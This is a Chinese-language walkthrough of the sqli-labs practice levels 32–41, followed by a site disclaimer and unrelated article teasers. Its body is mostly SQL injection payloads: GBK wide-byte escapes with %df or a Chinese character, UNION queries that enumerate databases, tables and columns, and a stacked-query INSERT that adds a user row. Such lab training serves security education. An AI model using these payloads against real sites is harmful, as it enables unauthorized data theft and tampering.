以sqlilabs靶场为例,讲解SQL注入攻击原理【32-41关】

【Less-32】

尝试使用各种注入发现无论是单引号还是双引号都被\转义成了字符串,导致SQL无法注入。

解决方案:宽字节注入。原理:利用数据库和页面编码不同的问题,PHP发送请求到mysql时经过一次gbk编码,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,数据库处理的时候是根据GBK去处理的,这样就能实现SQL注入。

第一步获取数据库名:

# 获取数据库名
?id=-1%df' union select 1,2,database() -- aaa

第二步:获取数据表名

# 获取数据表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa

第三步:获取数据表的字段

其中的数据表名因为用引号,所以直接用%df会报错,可以将数据表名转换为十六进制(0x)后使用

# 获取数据表字段,
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

结果为:

【Less-33】

源码分析:

故两题的解法是一模一样的,具体如下:

#判断字段数量
?id=1%df' order by 3-- aaa


# 获取数据库名
?id=-1%df' union select 1,2,database() -- aaa

# 获取数据表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段,
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-34】

尝试输入万能账户 : ' or 1=1 -- aaa

分析得知,和上一题类似,被反斜杠转义了,使用%df尝试逃逸出引号。

此时发现%df对于post方式无效,因为%df是url编码,在输入框中输入%df会被当作普通的字符,此时尝试用一些汉字代替,因为有些汉字的编码(比如 汉)为一个三个字节的编码,当代替%df时,可以将三个字节拆开来看,前两个为一个组,后面那个和相编码为一个两字节绕过,从而单引号逃逸。

解决方案:

#判断字段数量
汉' order by 2 -- aaa


# 获取数据库名
汉' union select 1,database() -- aaa

# 获取数据表名
汉' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段,
汉' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-35】

Get方式,修改url尝试使用单引号、双引号、括号加单双引号SQL注入。

可以得出添加的单引号被反斜杠转义了,尝试用%df,依旧报错。

此时再来尝试去除引号,直接添加SQL语句,执行,发现是可行的。说明没有闭合,SQL语句在后面直接可以执行。

解决方案:

#判断字段数量
?id=1 order by 3


# 获取数据库名
?id=-1 union select 1,2,database() 

# 获取数据表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()


# 获取数据表字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 

【Less-36】

源码分析:

解题过程和Less-33一样,原理还是反斜杠转义了,只需要添加%df 即刻解决。

#判断字段数量
?id=1%df' order by 3-- aaa


# 获取数据库名
?id=-1%df' union select 1,2,database() -- aaa

# 获取数据表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段,
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-37】

通过测试,和Less-34的注入方法相同,使用汉字来实现SQL注入,解题步骤如下:

#判断字段数量
汉' order by 2 -- aaa


# 获取数据库名
汉' union select 1,database() -- aaa

# 获取数据表名
汉' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段,
汉' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-38】

源码分析:

mysqli_multi_query()方法可以同时执行多个用分号隔开的SQL语句,容易导致堆叠注入。

可以在后面用分号隔开,实现往数据库中插入数据

?id=1';insert users(username,password)values('test','test') -- aa

数据插入:

解题步骤:

#判断字段数量
?id=1' order by 3 -- aaa


# 获取数据库名
?id=-1'union select 1,2,database() -- aaa

# 获取数据表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

【Less-39】

和上一题一样,只是没有引号闭合,直接注入。

可以在url中使用insert into 往数据库中添加数据。

解题步骤:

#判断字段数量
?id=1 order by 3 


# 获取数据库名,不再使用union
?id=-1 union select 1,2,database() 

# 获取数据表名
?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 


# 获取数据表字段
?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'

【Less-40】

与上面两题类似,只是闭合的形式变成了 ')。

 解题步骤:

#判断字段数量
?id=1') order by 3 -- aaa


# 获取数据库名,不再使用union
?id=-1') union select 1,2,database() -- aaa

# 获取数据表名
?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段
?id=-1')  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

【Less-41】

和Less-39一样,没有引号,直接注入。

解题步骤:

#判断字段数量
?id=1 order by 3 


# 获取数据库名,不再使用union
?id=-1 union select 1,2,database() 

# 获取数据表名
?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 


# 获取数据表字段
?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/690694.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

易于上手的requests

Python中的requests库主要用于发送HTTP请求并获取响应结果。在现代网络编程中,HTTP请求是构建客户端与服务器之间通信的基础。Python作为一种高级编程语言,其丰富的库支持使得它在网络数据处理领域尤为突出。其中,requests库以其简洁、易用的…

【计算机视觉】数字图像处理基础:以像素为单位的图像基本运算(点运算、代数运算、逻辑运算、几何运算、插值)

0、前言 在上篇文章中,我们对什么是数字图像、以及数字图像的组成(离散的像素点)进行了讲解🔗【计算机视觉】数字图像处理基础知识:模拟和数字图像、采样量化、像素的基本关系、灰度直方图、图像的分类。 我们知道&a…

高考作文:时光之河,逐梦前行

时光之河,奔流不息,如同我们的人生旅途,充满了未知与挑战。站在2024年的高考门槛前,我们回望过去,展望未来,心中充满了期待与憧憬。 首先,让我们回顾一下这条时光之河中的点滴。过去的岁月里&am…

java 大型企业MES生产管理系统源码:MES系统与柔性化产线控制系统的关系、作用

MES定义为“位于上层的计划管理系统与底层的工业控制之间的面向车间层的管理信息系统”,它为操作人员/管理人员提供计划的执行、跟踪以及所有资源(人、设备、物料、客户需求等)的当前状态。 MES系统与柔性化产线控制系统的关系 MES(制造执行系统)是一种…

i.MX8MP平台开发分享(RDC软件配置篇)

Uboot中已经将RDC的配置写入到了OCRAM中,NXP在ATF中预设了SIP服务,SIP服务下有厂商自定义的smc命令ID。例如下面的DDR、GPC、SRC和HAB的smc回调函数。 在SRC中断处理函数中,对于SRC_M4_START指令,先读取OCRAM中的配置,…

记录一次springboot、ruoyi若依前后端不分离项目和vue项目的合并整合问题,搞了一天总结

项目场景: 因为此功能只做为客户方一个小模块,客户方使用的是springboot前后端不分离的架构。而我们的项目是使用前后端分离springbootvue的架构。在接项目前,项目已经存在,所以不存在设计架构的前提。实际是在原有基础上修改的。…

了解Synchronized对象头?

1、对象头的结构 Java对象存储在内存中结构为: 对象头(Header):实例数据(Instance Data):定义类中的成员属性对齐填充字节(Padding):由于HotSpot虚拟机的自…

USB Type-C 和 USB供电数据和电源角色

USB Type-C 连接器生态系统随着现代平台和设备需求的变化而不断发展。 USB Type-C 连接器生态系统可满足现代平台和设备不断变化的需求,并且符合更小、更薄且更轻便的外形设计趋势。此外,针对 Type-C 连接器修改 USB PD 有助于满足高耗电应用的需求。 …

GDPU JavaWeb Ajax请求

异步请求可以提升用户体验并优化页面性能。 ajax登录 实现ajax异步登录。 注意,ajax用到了jQuery库,先下载好相应的js库,然后复制导入到工程的web目录下,最好与你的前端页面同一层级。然后编写时路径一定要找准,“pag…

STM32F103C8移植uCOSIII并以不同周期点亮两个LED灯(HAL库方式)【uCOS】【STM32开发板】【STM32CubeMX】

STM32F103C8移植uC/OSIII并以不同周期点亮两个LED灯(HAL库方式)【uC/OS】【STM32开发板】【STM32CubeMX】 实验说明 将嵌入式操作系统uC/OSIII移植到STM32F103C8上,构建两个任务,两个任务分别以1s和3s周期对LED进行点亮—熄灭的…

Android基本概念

Android发展历史 Android 是一个流行的移动操作系统,由 Google 开发并于 2008 年首次推出。 Android是基于Linux开发的移动设备操作系统。 在2005年被Google收购,2008年发布Android1.0,后续发布1.5/1.6 ------ 直到2021年发布Andriod12 。 …

什么是大型语言模型 ?

引言 在本文[1]中,我们将从高层次概述大型语言模型 (LLM) 的具体含义。 背景 2023年11月,我偶然间听闻了OpenAI的开发者大会,这个大会展示了人工智能领域的革命性进展,让我深深着迷。怀着对这一领域的浓厚兴趣,我加入了…

【Python】解决Python报错:ZeroDivisionError: division by zero

​​​​ 文章目录 引言1. 错误详解2. 常见的出错场景2.1 直接除零2.2 变量导致的间接除零 3. 解决方案3.1 检查除数3.2 使用异常处理 4. 预防措施4.1 数据验证4.2 编写防御性代码 结语 引言 在Python中,尝试将一个数字除以零时,会抛出ZeroDivisionErr…

重邮计算机网络803-(1)概述

目录 二.互联网概述 1.网络的网络 2.计算机网络的概念 3. 互联网发展的三个阶段 4.制订互联网的正式标准要经过以下的四个阶段 5.互联网的组成(功能) 6.互联网功能 7.互联网的组成(物理) 8. 互联网的边缘部分 9.两种通信…

串口屏在焊接机上的应用

在现代工业自动化浪潮中,焊接技术作为制造业的脊梁,其精准与效率直接关系到产品的质量和生产线的流畅性。而在这场技术的革新中,串口屏以其独特的优势,正成为焊接机领域的璀璨明星。今天,就让我们一同探索串口屏如何助…

手猫助手Agent技术探索总结

随着LLM的发展,ChatGPT能力不断增强,AI不断有新的概念提出,一种衍生类型的应用AI Agent也借着这股春风开启了一波话题热度,各种初创公司,包括Open AI内部也都在密切关注着AI Agent领域的变化。阿里集团内的AI团队也有很…

了解JVM中的Server和Client参数

了解JVM中的Server和Client参数 Java虚拟机(Java Virtual Machine,JVM)作为Java程序运行的核心,提供了多种参数来优化和调整程序的性能和行为。其中,-server和-client是两个重要的参数,分别用于配置JVM在服…

SMS - 基于阿里云实现手机短信验证码登录(无需备案,非测试)

目录 SMS 环境调试 从阿里云云市场中购买第三方短信服务 调试短信验证码功能 实战开发 封装组件 对外接口 调用演示 SMS 环境调试 从阿里云云市场中购买第三方短信服务 a)进入阿里云首页,然后从云市场中找到 “短信” (一定要从 云…

BUG解决: Zotero 文献GBT7714无法正常调用

1. 下载csl文件 网上有推荐直接下载现成版本的,比如参考资料【1】的蓝奏云文件,但是还是无法实现功能(空文档中可以用了)。 2. Github版本 也有说网盘版本和那个 Juris-M 的 CSL bug 太多的。 总结 后面发现,只需…

【原创】springboot+mysql农业园区管理系统设计与实现

个人主页:程序猿小小杨 个人简介:从事开发多年,Java、Php、Python、前端开发均有涉猎 博客内容:Java项目实战、项目演示、技术分享 文末有作者名片,希望和大家一起共同进步,你只管努力,剩下的交…